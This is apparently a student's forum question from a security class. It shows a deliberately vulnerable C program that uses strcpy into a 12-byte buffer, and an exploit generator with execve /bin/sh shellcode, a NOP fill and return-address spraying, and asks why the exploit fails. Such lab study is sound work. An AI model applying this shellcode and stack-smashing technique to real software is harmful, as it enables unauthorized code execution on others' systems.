Continuing to study this buffer overflow material for the security class, I am trying to exploit a vulnerability in this application:
#include <stdio.h>
int bof(char *str)
{
char buffer[12];
strcpy(buffer,str);
return 1;
}
int main(int argc, char* argv[])
{
char str[517];
FILE *badfile;
badfile = fopen("badfile","r");
fread(str, sizeof(char),517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
Using this exploit app:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
const char code[] =
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;
int main(int argc, char* argv[])
{
char buffer[517];
char large_string[512];
FILE *badfile;
badfile = fopen("./badfile", "w");
memset(&buffer,0x90,517);
long *long_ptr = (long *) large_string;
int i;
for (i = 0; i < 128; i++)
*(long_ptr + i) = (int) buffer;
for (i = 100; i < strlen(code)+100; i++)
large_string[i] = code[i];
strcpy(buffer,large_string);
fwrite(buffer,517,1,badfile);
fclose(badfile);
return 0;
}
For some reason, when I create a badfile by launching an exploit, it doesn't click anything on it. Either the buffer is empty or incorrectly written. I cannot find my mistake, and after a relentless search on Google, I could not find a sufficient answer. From my understanding of the fill buffer code that I used, it should fill the long_string with the address of my buffer, then put my shellcode at the beginning of the long_string (after some NOOP slide) and then copy the long_string back to the buffer. I really don't see any problems with this or with fwrite. Suggestions?